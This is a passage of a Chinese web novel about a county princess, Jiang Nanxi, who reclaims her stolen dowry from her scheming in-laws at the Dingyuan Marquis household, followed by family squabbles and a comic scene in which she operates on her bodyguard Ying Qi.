这九凤阁到底是谁的产业 郭曼香和范思慧也跟着哈哈大笑起来。 然而笑到一半,就听一声愤怒的尖叫从门外传来。 “你们真是够了,这九凤阁分明是我家小姐的嫁妆!” “定远侯府鸠占鹊巢了这么多年,还真把旁人的产业当自己的了?” “竟然还敢大言不惭地列到自己的嫁妆单子上去。” “我看论不要脸,谁比得上你们定远侯府的人?” 下一刻,就见一个容色倾城的少女,在两个婢女的护卫下,施施然走进来。 左边的婢女着湖蓝色衣衫,看上去沉稳又冷静。 右边的婢女则穿着鹅黄色裙衫,眼神灵动,眉头紧皱,一脸怒气。 三人正是姜南溪、金铃和银铃。 银铃脾气火爆,刚刚那一番话就是她说的。 一进店,她毫不犹豫冲上前,将郭曼香和范思慧手上的首饰一把夺了下来。 “这是我家小姐的嫁妆,谁容许你们动的?” 沈玥彤惊疑不定地望着进来的少女。 姜南溪? 这是姜南溪? 怎地与她半月前见得小表妹,仿佛换了个人一般? 那个懦弱废物,淫荡无耻,只会缠着她大哥不放的表妹,有这般漂亮吗? 有这般犀利、冷锐,让人心底发寒的眼神吗? 沈玥彤明明记得。 以前每次她瞪向姜南溪的时候,姜南溪就会吓得如一只鹌鹑一样。 连看自己一眼都不敢。 更别提像此刻这般,用嘲讽又鄙夷的目光,戏谑看着自己了。 沈玥彤心中腾地烧起了一丛怒火:“南溪,这是你的婢女?你好大的胆子,敢让你的婢女对我朋友无礼?” 姜南溪笑了一声:“无礼?我婢女只是帮我拿回本就属于我的嫁妆,怎么就无礼了?” “你的嫁妆?” 郭曼香看着空空如也的手,勃然大怒道,“这分明是玥彤的嫁妆,你怎敢胡言乱语?还有那首饰,是玥彤送我的,快把我的朱钗还给我!” 说着,就要朝银铃扑过去。 银铃抱着首饰后退几步,退到姜南溪身后。 郭曼香想伸手去抓。 姜南溪抬手一个巴掌扇过去。 啪——! 清脆响亮的耳光声,把郭曼香打懵了。 也让在场的诸人目瞪口呆。 “啊!你,你敢打我,来人啊,快把这贱人给我……” “放肆!” 姜南溪一声厉喝:“我乃先皇亲封的县主,这九凤阁是我的爹娘留给我的嫁妆产业,我倒要看看,哪个不长眼的东西,敢在我的产业中动本县主一下!” 沈玥彤怒道:“姜南溪,你给我闭嘴!” 她恶狠狠地瞪着姜南溪,眼中满是警告:“还有,这九凤阁是我侯府的产业,是祖母明明白白写进我嫁妆单子里的。我念在我们表姐妹一场的份上,不计较你胡言乱语。” “但你若敢再乱说话,诋毁我和侯府的清誉,姜南溪,我告诉你,等回去了侯府,我绝不会放过你!” 说着,她走上前,用只有两人听到的声音咬牙切齿说道。 “南溪,你给我马上滚回碧清院去闭门思过,听到没有?” “你该知道,惹怒了我,惹怒了我祖母和母亲,你会是什么下场?” 说着,沈玥彤的视线瞟向金铃和银铃,冷笑一声。 “我倒不知道你从哪又找来了两个贱婢,可你不会以为,有了这两个贱婢撑腰,便能不听话了吧?” “七年前母亲和祖母对你的惩罚,你该不会想再经历一次吧?” 姜南溪的瞳孔微微收缩了一下。 她并不想回忆。 但原身的记忆还是涌了上来。 那是在她还很小的时候。 原身甚至都不记得自己是犯了什么错。 但她至今还记得凌婉茹的疾言厉色、柳蕙兰的阴沉狠厉。 就连平日里温和慈祥的姨夫定远侯,都宛如恶魔的巨大阴影笼罩下来。 将她压得喘不过气。 然后,原身被关进了祠堂。 她被关了许多天,期间浑浑噩噩,被逼着骗着做了许多事。 恍惚间,总是听到外面传来哭喊声、求饶声、叱骂声。 等原身被放出来的时候。 她身边的仆从侍卫,那些英国公遗留下来的心腹,已经死的死、逃的逃、被发卖的被发卖。 沈玥彤看着她逐渐苍白的脸色。 总算是从这张绝色秀丽的脸上,看出了几分从前小表妹的影子。 嘴角忍不住勾起得意的笑:“姚掌柜,你过来!” “大小姐,您有什么吩咐?” 掌柜堆着谄媚的笑,匆匆跑过来。 沈玥彤扬着下巴道:“你在这九凤阁的铺子里也已经当了十数年掌柜了吧?” “你来告诉所有人,这九凤阁是我定远侯府的产业,还是她姜南溪的嫁妆?” 姚掌柜看了门口围过来看热闹的人群一眼。 毫不犹豫大声道:“这还用说吗?九凤阁自然是侯府的产业!” “老朽在这九凤阁里都当这么多年掌柜了,可从没听说过,九凤阁与南溪县主有任何关系!” “县主,老朽知你身份尊贵,又有祖上余荫庇佑,可也不能这般忘恩负义,不知羞耻啊!” “定远侯府养你一场,你不知感恩就算了,竟还想着抢夺表姐的嫁妆。” “此事要是传出去,岂不是败坏英国公和凌医仙的名声?” 一番话,说的沈玥彤眉飞色舞。 郭曼香和范思慧立刻便理直气壮起来。 “玥彤,你们侯府就是太善良了,对这种忘恩负义的白眼狼,还百般容忍,要在我郭家,早让人乱棍打出去了!” “贱婢,听到没有,这九凤阁根本不是姜南溪的嫁妆,你还不快把本小姐的首饰还给我!” 银铃简直要气炸了。 只是还不等她说话,外面就传来一个洪亮的声音。 “下官乃户部侍郎沈漾麾下员外郎,奉沈大人之令,来清点南溪县主嫁妆单子中的店铺,九凤阁位列其中。” “请店铺掌柜停止营业,清点店中货物,整理账册,以便我户部替县主完成交接!” 话音刚落,就见一个四十来岁的长须男子走入店中。 身后跟着户部的一众主事、司员。 再往后,是全副武装的衙役。 第一百八十一章 打你就打你,有何不敢的 员外郎视线在店中众人呆滞的脸上一转。 最终落在姜南溪身上。 犹豫了片刻后,就露出一个亲切的笑容:“这位便是南溪县主吧?下官户部员外郎贾俊,见过县主!” 姜南溪眨眨眼,总觉得这人来的太巧了。 而且她记得她嫁妆的交接不是刚刚开始吗? 怎么都还轮不到清查店铺吧? 但她当然不会拆台。 而是笑眯眯道:“辛苦贾大人替本县主清点嫁妆了。” “不敢当不敢当!” 一旁的金铃忽然道:“贾大人,能否请你回去转告沈大人一声?” “我们县主也知道,如此庞大的嫁妆单子要清点和交接需要时间。” “但十日终究还是太久了,就怕有些人会胆大包天到连皇上的圣意都敢违抗。” “明着要交换嫁妆,暗中却把我家县主嫁妆单上所有的庄子、铺面全都掏空。” “这般暗度陈仓之下,就算最后这些店铺庄子全交到了我们县主手上,恐怕也成了个完全不值钱的空壳了!” 贾俊一惊,连连点头:“县主放心,属下今日回去就将此事告知沈大人。” “明日开始,我们户部会让人将县主嫁妆单子上的铺面庄子查封起来,直到交接完成。” “呵呵,圣上有旨,要将县主的嫁妆原样归还,以嘉奖县主父母当年舍生忘死,救护先帝之功。” “臣等倒要看看,有哪个不长眼的,连圣命都敢违抗!” “查封期间,谁敢擅自拿走店铺中的一分财务,以欺君之罪论处!” 贾俊此话一出。 郭曼香和范思慧当即吓得魂飞魄散。 两人原本还愤恨又渴望地盯着银铃手中的首饰。 此刻却像是看到了极其恐怖的东西一般,慌忙移开视线。 双手几乎摆出了残影:“不不,我们绝不敢拿九凤阁中的东西。” “对对,我们也不知道这九凤阁是县主的嫁妆啊!” “是玥彤说,这九凤阁是她的嫁妆,要送我们东西,我们才过来的!” “我们绝对绝对不是故意要动南溪县主嫁妆的!” 说着,郭曼香心慌地看向沈玥彤:“玥彤,这是你的家世,我和思慧都不便参与,我……那我们就先……先回去了!” “对对,我们先回去了!” 说完,两人也不等沈玥彤回复,着急忙慌地便跑了。 贾俊倒也没有让人阻拦。 堵在门口的衙役让开了道,让她们冲出了九凤阁。 或许是离开了九凤阁,郭曼香和范思慧明显松了口气。 声音都提高了不少,从门外幽幽飘进来。 “天哪,真真是快吓死我了,早知道就不跟玥彤来这一遭了。今日的事若传出去,别人还以为我们家得罪皇上了呢!” “谁说不是呢!真没想到,定远侯府吞没孤女嫁妆的事竟然是真的。” “这事凤萱她们恐怕还不知道吧?等回去我定要好好跟她们说道说道。” “走走,我们一起去!” 沈玥彤听到这些话,只觉得眼前一黑,几乎要晕倒过去。 她找郭曼香和范思慧过来。 原本就是看中她们大嘴巴,能把她嫁妆单子宣传的人尽皆知。 可此刻,原本的盘算却成了搬起石头砸自己的脚。 不用一天! 今日发生在九凤阁的事情就会被宣扬的人尽皆知。 沈玥彤身体摇摇欲坠。 猛地瞪向姜南溪:“南溪,你到底做了什么?为什么皇上要帮你拿回嫁妆?这嫁妆你拿回去了又有什么用?迟早还不是要抬回到我定远侯府?” “折腾这一遭,就为了让我难堪吗?” “你就不怕,我让大哥不再娶你过门?” 姜南溪没忍住,笑了一声。 沈玥彤大怒:“你笑什么?你以为我做不到吗?我告诉你,大哥最疼的就是我,只要我让他不娶你,你这辈子都别想进我侯府的门!” 她可知道,姜南溪对沈翊轩有多迷恋。 只要搬出沈翊轩,她就不信这个小表妹不妥协。 姜南溪掀起眼帘看着她:“大表姐刚回京城,所以还没得到消息吗?” “什……什么消息?” 姜南溪眼神转冷,慢条斯理道:“就在上个月,沈翊轩决定解除我们之间的婚约,娶我庶妹姜思瑶为妻,但又不想放过先皇留给我的赏赐,所以要强迫我堂堂县主给她当妾。” 围观的人倒吸了一口凉气。 让县主当妾? 定远侯府的人是疯了吧? 沈玥彤张了张嘴,脸上没有意外和惊讶。 反倒是在怔愣片刻后,露出了恼怒的神情。 看她的表情,姜南溪就知道,这位大表姐也是知情人。 或者说,整个定远侯府,没有一个人不知道这个计划。 所有人都想让姜思瑶取代她,成为定远侯府的世子夫人。 可是她们抢走了原身的身份和婚约还不够。 还要将原身扒皮拆骨,把她身上最后的价值都榨干掏空。 终于将原身彻底逼上死路。 定远侯府的每一个人都是刽子手。 没有一个,是无辜的。 姜南溪嘴角缓缓勾起:“所以我一怒之下,就请圣上给我换了个婚约人选。” 沈玥彤一惊:“换了婚约人选,换了谁?二哥吗?你明知道二哥如今在明理书院前途无量,以后是要做宰辅的人物,你怎么有脸让他来取你这么个无用的废物?” 姜南溪还没有回答。 银铃再也忍不住,大声道:“放肆!圣上已给我们家小姐与御王殿下赐婚,谁给你的单子,敢对堂堂县主与未来的御王妃无礼?” “什么?!” 沈玥彤再也忍不住,尖叫出声,“姜南溪,你疯了,你要嫁给萧墨宸那个残废?” 啪——! 一个巴掌狠狠扇在她脸上。 沈玥彤捂着红肿的脸,瞪着姜南溪:“你,你敢打我!” “打你就打你,有何不敢的?” 姜南溪冷笑道:“你小小一个侯府千金,哪来的胆子,敢当街咒骂御王是残废?又谁给你的脸,当着本县主的面,辱骂我的未婚夫婿?” “或者,要我将你今日说的话,转告御王吗?” “看看你口中的残废,会让你死的有多难看?” 第一百八十二章 没心没肺的沈翊武 沈玥彤脸色唰一下白了。 御王的凶残暴虐,天下皆知。 哪怕他如今是病入膏肓的残废,哪怕自己和她还算是名义上的叔侄。 沈玥彤也完全不敢奢望。 那个疯子一样的小叔,会对自己有半分怜惜。 沈玥彤牙齿咬的咯咯作响。 最后狠狠跺了一下脚:“我不信这是真的,我要回去问母亲和大哥!” “姜南溪,若是被我知道你骗我,我绝不会放过你!” 说完,她苍白着脸,转身急匆匆走了。 在经过贾俊身边的时候,她忍不住停下脚步。 扬着下巴,厉声道:“不过是区区一个员外郎而已,也敢在本小姐面前大呼小叫!” “你可知你的顶头上司是谁?” 当今的户部尚书,正是柳蕙兰的兄长,柳安鹤。 贾俊笑眯眯道:“下官自然知道。” “知道你还敢如此对我?” 贾俊:“沈大小姐何出此言?下官不过是依照圣旨办事而已。” 沈玥彤咬牙切齿道:“好好,好一个依照圣旨办事!你给我等着,我倒要瞧瞧,你这个户部的官,还当不当的下去!” 随即又恶狠狠地瞪了姜南溪一眼,这才匆匆跑了。 姜南溪看着沈玥彤的背影,嘴角勾起。 如今不过是少了点嫁妆而已,就如此气急败坏了? 别急啊! 定远侯府以后的路还长着呢! …… 沈玥彤回到定远侯府的时候。 柳蕙兰、沈云峰和凌婉茹都还没有回来。 倒是看到了鼻青脸肿,手上裹满了纱布的沈翊轩。 和坐在一旁吃糕点,笑的格外幸灾乐祸的沈翊武。 沈玥彤惊呼一声:“大哥,你这是怎么了?” 沈翊轩脸色越发阴沉,咬着牙,没有说话。 沈翊武没心没肺笑道:“大姐,这还用问吗?大哥明显是被人打了啊!” “谁这么胆大包天,连定远侯的世子都敢打?” “大哥,你说话啊!” 沈玥彤连声追问。 但沈翊轩却怎么都说不出口。 他的脸是被萧墨宸的护卫打的。 他的手,更是被曾经对他死心塌地的姜南溪踩断的。 沈翊轩根本就不愿相信,姜南溪真的舍得对他下那么重的死手。 更不愿意让人知道这件事。 砰! 沈玥彤狠狠一巴掌拍在桌面上。 泪水在眼眶里打转:“为什么,为什么我才离开半个月,一切就都变了?” “我们侯府到底发生什么事了?我走之前,家里不是都还好好的吗?” 沈翊轩这才发现妹妹脸上也有红肿:“玥彤,你……你的脸,是谁打得?你刚刚去哪了?” “还能有谁,不就是姜南溪打得?大哥,为什么南溪会变成如今这样?” 沈玥彤把九凤阁中发生的事情说了一遍。 “皇上让户部帮忙清点姜南溪的嫁妆,难道……难道我们真的要将那些东西,全都还回去?” “那我的嫁妆怎么办?以后侯府的开支又要怎么办?” 沈翊轩愣愣地坐在原地,呼吸急促,眼圈微微发红。 沈翊武却是疑惑道:“可这本来就是南溪表姐的嫁妆,还给南溪表姐,不是理所当然的吗?” 或许,等还了嫁妆后,南溪表姐就会不生气。 对他像以前那样好了呢? 沈玥彤一巴掌拍在沈翊武的脑袋上,气的声音都在抖:“你给我闭嘴!什么叫理所当然?姜南溪在我侯府住了那么多年,那些嫁妆,是她本就该付给我们侯府的养育费,凭什么要回去?” “而且你以为,归还了嫁妆后,你还有现在的好日子过吗?” “你身上穿得最时新的衣服,出去与你那些纨绔友人鬼混时花出去的流水式的银子,你以为都是哪来的?” 沈翊武哇的一声哭出来。 滚到地上就开始撒泼打滚耍赖:“哇哇哇,你打我你打我!都怪你们,呜呜呜,都是你们对南溪表姐不好,所以她才不理我了,现在连嫁妆都要回去了。以后是不是南溪表姐再也不对我好了?我不要!我不要!呜哇哇哇……” 沈玥彤勃然大怒:“我们对她不好,我们哪里对她不好了?” “她姜南溪不到八岁便父母双亡,无家可归,若不是我们侯府好心收留她,她早就流落街头了。” “平日里我们侯府也没少她吃没少她穿,不过是让她拿点嫁妆出来补贴家用,又有什么问题?” “还不是姜南溪她白眼狼,半点不知道感恩,竟还为了这点小事,闹到圣上面前,害我们定远侯府成了整个京城的笑柄!” 沈翊武被说的停止了哭闹。 他抽了抽鼻子,哽咽道:“那,那就怪大哥,要不是他非要娶思瑶表姐,南溪表姐就不会生气了!” 沈翊轩今天憋了一肚子火。 此时再也忍不住,怒气冲冲道:“怪我?若非她姜南溪平日里畏畏缩缩,上不得台面,还在外面与别的男人勾勾搭搭,根本就撑不起定远侯府当家主母的派头,我又怎会想娶思瑶为正妻?” “南溪她只会怪我移情别恋,可怎么不想想,论乖巧、贤惠、温柔,她哪点能与思瑶相提并论?” 沈翊武朝他狠狠瞪眼:“所以现在南溪表姐不要我们所有人,还把嫁妆都要回去了,你高兴了?” “呜呜呜,我要南溪表姐当我的大嫂,我就要我就要!你为什么一定要娶思瑶表姐当正妻呢?你让她当妾不就好了吗?呜呜呜……” 沈翊轩倒是想。 可现在,却是姜南溪因为吃醋,非要跟他赌气,不肯嫁给他了。 身为女子,脾气怎能如此执拗? 没有半点思瑶的娇柔! 又怎么能怪他更偏疼思瑶呢? 沈玥彤却是猛地反应过来:“小武不说,我倒是忘了!” “我道这府中是何时变得这般不得安宁的,不就是从那姜思瑶来了之后吗?” “不过是一个小小庶女,大哥你肯许她个妾侍之位,已经是抬举她了。” “可她非心比天高,要肖想本不属于她的位置。这才闹出来这么多事,害我们侯府损失惨重!” 连带着,本该属于她的嫁妆,如今也全都飞了。 第一百八十三章 连环几个巴掌 沈翊轩连忙道:“这与思瑶有什么关系,她是无辜的,是我自己想娶她……” “我呸!什么无辜?后宅女子的腌臜手段,真当我看不出吗?” 姜思瑶那点心思,也就骗骗沈翊轩这些男子了。 只是从前沈玥彤更看不上姜南溪,所以才装聋作哑没有揭穿。 但此刻只要一想到就因为姜思瑶的算计。 害的自己的嫁妆损失惨重,就恨的咬牙切齿。 突然,她一转身,叫上丫鬟婆子和府里的侍卫,气势汹汹朝着姜思瑶所在的琉璃院冲去。 …… 琉璃院中。 姜思瑶正在默默垂泪。 昨日的及笄宴,本该是她名满京城。 将姜南溪彻底踩在脚下的日子。 可谁知道,却让她成了整个京城的笑柄。 一想到昨日的事情发酵出去。 所有人都知道她被沈翊轩抛弃,被姜南溪踩在脚下了。 姜思瑶就觉得五内俱焚,牙齿咬的咯咯作响。 泪水不知不觉就滑落眼眶。 “小姐,你怎么又哭了?仔细伤了眼睛?” 姜思瑶哽咽道:“翊轩哥哥都当着那么多人的面将我抛弃了,我的脸都丢尽了,活着还有什么意思?呜呜呜……” 倚翠也不由义愤填膺道:“小姐你秀外慧中,又是神医谷的高徒,满京城中,倾慕小姐您的好儿郎多的是,小姐你又何必在一棵树上吊死。” 她眼珠子一转,突然凑近姜思瑶耳边道:“奴婢记得,五皇子便对您青睐有加,虽说定远侯府也算富贵,但如何能与天潢贵胄的皇子殿下相提并论?” 姜思瑶闻言神色微微一动。 可随即咬紧了嘴唇,摇头道:“不成,不成的。五皇子年纪比我还小。” 更重要的是。 姜思瑶清楚知道,以自己的身份,就算能嫁给五皇子。 最多也就被封个侧妃。 侧妃,说到底也不过是个妾。 她心高气傲,做梦都想抢走姜南溪的一切,将她踩在脚下。 如果只是当一个无权无势皇子的妾侍。 她以后要如何压姜南溪一头? 更何况,她已经在定远侯府付出了这么多心血。 好不容易让府中人全都厌弃姜南溪,喜欢上她。 现在如何能甘心半途而废? 倚翠还要再劝:“哎呀,俗话说,女大三抱金砖,五皇子比小姐您年纪小,才能更听小姐您的话啊!” 砰——! 房门突然被重重撞开。 沈玥彤怒火万丈地冲进来。 二话不说,反手就给了两人狠狠两个巴掌。 “你这个不要脸的贱货,祸祸了我们侯府,现在还想去勾搭五皇子?” “我呸,不过是个寄人篱下的庶女。” “我定远侯府可怜你,给你点好眼色,你就真把自己当盘菜了?” 啪啪啪! 沈玥彤抓住姜思瑶的头发,又连环几个巴掌。 直打得姜思瑶双颊都红肿起来,哭着求饶。 沈玥彤这才松开她。 却还觉得不解气。 一转头看到琉璃院中高雅奢华的陈设,再想起自己那寒酸的嫁妆。 刚刚熄灭少许的怒火,顿时腾的一下又烧起来。 “你们过来,给我把这屋里的东西都搬走!” “如今我侯府被这贱人害的损失惨重,她凭什么还能过好日子?” “把这琉璃院中值钱的东西,尽数搬到我祖母的屋里去!” 姜思瑶慌了,哭着扑过去想要阻止。 “大表姐,你做什么?这些都是我娘留给我的财产啊,与侯府没有关系的?你搬走了,我以后要怎么活?” “呸!” 沈玥彤一口唾沫吐在她脸上:“什么你的财产?真当我不知道,这些年你从我大哥手中,骗走了多少好东西?” “我大哥傻,看不透你的鬼蜮伎俩,可你却骗不过我的眼睛?” “要不是你蓄意勾引,我大哥怎么会与姜南溪解除婚约,我们侯府又怎么会落到这般田地?” “如今我只是拿回我侯府的财物,却还容你住在琉璃院中,已经是仁至义尽了!” “还愣着干什么,快把东西都给我搬回去!” 一刻钟后。 琉璃院中一片狼藉。 里头值钱的东西,被搬得七七八八。 姜思瑶跌坐在地上,看着空空荡荡的琉璃院,不由悲从中来,哀戚痛哭。 “瑶瑶,瑶瑶,你没事吧!” 沈翊轩急匆匆跑过来。 用完好的胳膊将姜思瑶从地上小心翼翼扶起来。 看着她红肿的面颊,被泪水浸透的双眼,不由心疼道:“瑶瑶,我刚知道玥彤做了什么,你……你受苦了。” 姜思瑶哇的一声哭出来,依偎进他怀中:“翊轩哥哥,我……我真的一心想对侯府好啊,为什么,为什么要这么对我?我到底做错了什么?呜呜呜……” 沈翊轩心疼地将人紧紧抱住,“思瑶,你放心,等你嫁给我后,我绝不会让你受半点委屈的。” 一旁的倚翠连忙爬过来道:“世子,大小姐将我们家小姐值钱的首饰衣物都拿走了,以后我们小姐还怎么出去见人,怎么参加宴会应酬啊?呜呜呜……世子你,你想想办法,替小姐将东西要回来吧!” “否则我们小姐真的要被逼的活不下去了。呜呜呜……” 姜思瑶也抬起婆娑的泪眼,希冀地看着眼前的男人。 希望他能如眼前一般,替自己撑腰,给自己独一无二的偏爱。 可沈翊轩看着这双泪眼。 脑海中却不自觉划过姜南溪那双含情脉脉,又澄澈纯净的漂亮眼眸。 在姜思瑶出现后。 那双曾经一看到他就羞怯欢喜的眼,就常含着泪水,仿佛受了无尽委屈。 是自己太过分,太偏爱思瑶,所以才让姜南溪选择嫁给别人,来跟他赌气吗? 沈翊轩心中一阵闷疼。 姜思瑶和倚翠见他迟迟不说话。 倚翠忍不住叫了一声:“世子,你说话啊?我们小姐举目无亲,孤零零地来侯府投奔,如今能指望的,就只有世子您了。您,您不会不管我们小姐的对不对?” “当然不会!”沈翊轩回过神来,连忙心疼地道,“瑶瑶,我永远不可能不管你。” 姜思瑶脸上露出羞涩甜蜜的笑容。 第一百八十四章 开膛破腹 沈翊轩:“可玥彤如今在气头上,我若是问她要回那些东西,怕反而会激化她的怒气,让她越发刁难你。” “思瑶,你给我一点时间好不好?” 沈翊轩抓起姜思瑶的手,在唇边吻了一下。 深情款款,柔情蜜意道:“其实,玥彤现在会这般生气,主要还是因为南溪如今在与我赌气,非要拿回放在侯府的嫁妆,甚至连玥彤的嫁妆,也要因此被削减。玥彤实在气不过,才会迁怒到你这个妹妹身上。” “但你放心,这件事我很快就会解决的。” “到那时,玥彤自然会将琉璃院的东西,原原本本地还回来。” 姜思瑶身体微微一僵:“翊轩哥哥,这件事,你……你要如何解决?” 沈翊轩眸光闪了闪,声音越发温柔:“思瑶,你不需要管这些无关紧要的事情,只需要相信我,一定不会辜负你。” 等沈翊轩一走,姜思瑶再也忍不住。 拿起手边的东西,朝着紧闭的房门狠狠砸过去。 沈翊轩! 当她看不出来吗? 他想去找姜南溪那个贱人! 到了现在,他都没有绝了娶姜南溪为正妻的念头! 只要姜南溪嫁进定远侯府,那嫁妆自然也不用清算,不必归还了。 可如此一来,她姜思瑶算什么? 因为姜南溪,她已经当了十几年隐姓埋名的卑贱庶女? 如今还要当妾,让姜南溪压一头吗? 凭什么?凭什么! 姜思瑶再也忍不住,捂住脸痛哭失声。 “小姐,不如……不如我们去找二公子吧?” 姜思瑶抬起婆娑的泪眼,看向倚翠。 倚翠咬了咬牙道:“您也看到了,如今世子已经被姜南溪那贱人引诱,与您不再是完全一条心了。” “但二公子不同,他是最疼你的,若非昨日二公子有事,傍晚就急匆匆回了明理书院,又如何会让人把琉璃院搬空。” “只要您去明理书院找二公子告状,他一定会替你撑腰的!” 姜思瑶露出沉思的神情。 好半晌才咬牙道:“好,我明日……不,后日就去书院找二表哥。” === 碧清院。 “你……你要将我开膛剖腹?” 院子里传来影七颤抖的声音。 金铃银铃和徐嬷嬷都忍不住忘了过来。 姜南溪一边磕着瓜子,一边笑眯眯道:“怎么?不愿意?” “是怕了,还是之前说接下来随便我处置的承诺,不过是放屁?” 影七涨红了脸,梗着脖子道:“男子汉大丈夫,言必行,行必果!好,开膛剖腹就开膛剖腹,你尽管来,我要是皱一下眉头,就不是男人!” 但喊完后,他还是忍不住露出悲绝的神情。 声音也哑了几分:“只是我……我死后,能不能不要把我扔到乱葬岗,将我烧了,把我的骨灰给主子……给王爷。” 他生前没办法跟在主子身边了。 只希望死了,魂魄也能护卫在主子左右。 姜南溪拍拍手,拍掉手上的瓜子碎屑:“行,我答应你。既然没什么疑议,就跟我进来吧!” 影七刚刚那天不怕地不怕的表情,顿时垮了下去。 他哀哀戚戚地看了徐嬷嬷三人一眼。 只可惜,三人各忙各的,根本没人关心他马上要被开膛剖肚了。 影七一时只觉得无比凄凉。 跟着姜南溪走进内室的时候,都有种风萧萧兮易水寒的悲壮。 两人进去后没多久。 影十三就如一阵风一般飘了过来。 望了一圈没看到人,不由问道:“县主呢?” 银铃嘻嘻一笑道:“小姐在给影七开膛破腹呢!” 影十三闻言一惊。 随即马上便神色如常道:“那我一会儿再来找县主。” 这下银铃好奇了:“影七要被开膛剖腹了,你不担心吗?” 金铃和银铃均是御王府的心腹。 从许多年前便被御王收留在府中。 是以知道影七和影十三与旁的墨影卫有所不同。 并且两人还是兄妹关系。 影十三幽幽笑了一下:“不管县主想做什么,都是影七他咎由自取。” “更何况,我相信县主不会真的要了他的命。” “顶多是吓吓他,让他多吃点苦头罢了!” “这不是他该受着的吗?” 希望经此一事,影七能吃一堑长一智吧。 …… 两个时辰后。 姜南溪一边用绢帕擦着手,一边有些踉跄地从屋中出来。 “小姐,您脸色怎么那么难看?” 小婵一看到她,立刻便上前扶住她,小脸上满是担忧。 刚问完,就听姜南溪的肚子传来咕噜噜的响声。 徐嬷嬷:“哎呀,小姐在里面忙活了这么久,肯定是饿了。老奴早就准备好了吃食,这就去端出来。” 姜南溪一场手术下来,确实饿的前胸贴后背。 于是也顾不得形象了,狼吞虎咽就把徐嬷嬷准备的吃食,扫荡地一干二净。 等她吃完,影十三才如幽灵般从外面飘进来。 双手将一本薄薄的册子递到她面前。 姜南溪好奇地接过来翻看。 册子上没有名字,翻开第一页是一张人体血脉和经络图。 但等翻到第二页,姜南溪就觉得眼睛里转起了蚊香圈。 “这……是什么?” 影十三躬身道:“是奴婢祖传的心法修炼秘籍。” 姜南溪嘴巴微微张成了O型。 里头这写的云里雾里,经书不像经书,诗文不像诗文的东西。 居然是古代的武功秘籍? 这玩意真的能让她练出内劲吗? 等等,影十三这么简单就把祖传的秘籍送她了? 影十三:“县主如今的年纪,已经错过了最佳的练武时机,想要修出内力,已几乎不可能。但属下还是会尽全力,帮县主想办法,这本秘籍,县主闲时也可参详一二,或许会对县主您打通任督二脉,修出内劲有帮助。” 懂,就是说她已经是块朽木不可雕了。 现在影十三拿了块璞玉来,让她没事多摸摸多看看。 说不定哪天就近朱者赤,朽木也变玉了呢? 咳,真不知道她是该高兴好,还是该悲伤好。 姜南溪将秘籍收了起来,说了句:“谢谢!” 随即忍不住好奇道:“你不问问影七现在的情况吗?” 第一百八十五章 好用的大体老师 影十三面无表情道:“不必。” 顿了顿,又补充道:“留条狗命就已经是他的幸运了。” 砰——! 刚刚打开房门,踉跄着从屋内出来的影七听到这句话,牙齿都差点咬碎了。 艹! 这到底谁的亲妹妹啊? 屋子里的人听到动静齐齐抬头。 影十三面无表情地挪开了目光。 不是心虚。 而是,实在是辣眼睛。 她真不想承认,这蠢货居然是她一母同胞的亲哥哥。 金铃、银铃和小婵她们则先是震惊,随后兴致勃勃又有些不好意思地偷偷打量影七。 就像是在看稀有动物。 只见此刻的影七,头发被剃了个干干净净。 露出个光溜溜,还凹凸不平的脑袋。 身上裹着厚厚好几层纱布。 可身上却没有穿一件衣服。 只靠纱布遮住了身上重点部位,露出两条光溜溜的腿。 那样子,实在……太好笑了。 跟只秃毛鸡一样。 “扑哧!”小婵最没定力,第一个没忍住笑出来。 但小姑娘觉得这样不厚道,于是慌忙用手捂住了嘴。 银铃却是半点顾忌都没有的。 只震惊了一瞬,就发出惊天动地的大笑声。 连向来稳重的徐嬷嬷和金铃也忍不住撇过头,闷笑不止。 影七直到此刻才猛地回过神来。 他惊慌失措的想去遮身上,却发现根本就遮不住。 不由气急败坏道:“你,你对我做了什么?我衣服呢?头发呢?” 姜南溪抬了抬眼皮,慢条斯理道:“烧了,剔了。” “怎么?你这个自愿为奴为仆的,是在对我这个主人大呼小叫吗?” 影七:“……” 影七的声音瞬间弱了下来,“没……没有。只是你想报复我,一刀杀了我就算了,为什么要……为什么要……” 一想到刚刚醒来时自己身上的状况。 影七简直想哭的心都有了。 姜南溪可不只是剃光了他的头发。 而是把他全身上下的毛发,剃了个干干净净。 影七只要一想到这女人竟然丧心病狂到扒光他的衣服。 把他各……各个部位的毛发都剃了个干干净净。 他就想一头撞死自己。 呜呜呜,主子,属下对不起你! 属下竟然让未来主母看到了属下的……属下的…… 姜南溪却不知道影七的所思所想。 她要是知道了,一定会翻个白眼嗤笑一声。 那么辣眼睛的东西,她可懒得看。 影七浑身上下的毛,都是手术室系统中的智能医护机器人剃的。 至于为什么要剃的那么干净。 那自然是因为她给影七做了好几场手术。 影七之前被结结实实揍了好几顿。 内脏自然有不少损伤。 而姜南溪也正好要提升自己外科手术的熟练度。 好早日给夭夭治疗心脏病。 虽然影七心肺的位置伤的不严重,不需要手术。 但剖都剖开了。 让她熟悉熟悉脏器,练练手,没问题吧? 你问不做开颅手术为什么要剃头发? 她就喜欢全身形象统一,不行吗? 而且现在不需要开颅手术练手,不代表以后不需要啊! 姜南溪似笑非笑地看着影七:“现在听明白了吗?” “我把你留在身边的作用就是给我当扎针、试药、做模拟手术的实验体。” 也就是说,影七现在是她珍贵的,活的大体老师。 而且这大体老师真是身强体壮,结实耐用啊! 明明刚做完手术,居然就能这么活蹦乱跳地出来了。 影七听完这番话,脸都绿了。 但影十三却是一下子反应过来。 她上前一把抓住影七的手腕把脉,瞬间了然。 同时又有些说不出的感动。 县主话说的难听,也把影七狠狠戏耍了一番。 可之前影七身上留下的暗伤,却几乎都好转了。 县主非但不想让影七死。 反而在救他的命。 见影七要说话,她啪一个巴掌拍在他脑袋上。 “闭嘴,你要是再敢对县主有半点不敬,信不信我削死你!” 影七:“……” 艹,这肯定不是他亲妹妹! 天底下有对自己哥哥如此心狠手辣的妹妹吗? 姜南溪笑眯眯看着他:“怎么?你不愿意?” 影七委委屈屈道:“我……我也没说不愿意。只是,当药人迟早要死的,我若是被毒死了,或是被开膛破肚救不回来死了……” 他想把自己之前的诉求再重复一遍。 姜南溪却打断他:“你今日的试药、试针、试手术,都是为了御王的病能早日康复。” “放心吧,你若是英勇牺牲了,我肯定会如实告知御王,你为他所做的贡献。” 一句话,顿时把影七说的眼泪汪汪。 他噗通一声跪下来,毫不犹豫地道:“小姐请尽管在影七身上试药试……试手术,影七绝不会有任何怨言!” 只要能对主子有帮助。 就算让他死无全尸又如何! 姜南溪走上前,满意地拍拍他锃光瓦亮的脑袋。 真乖! 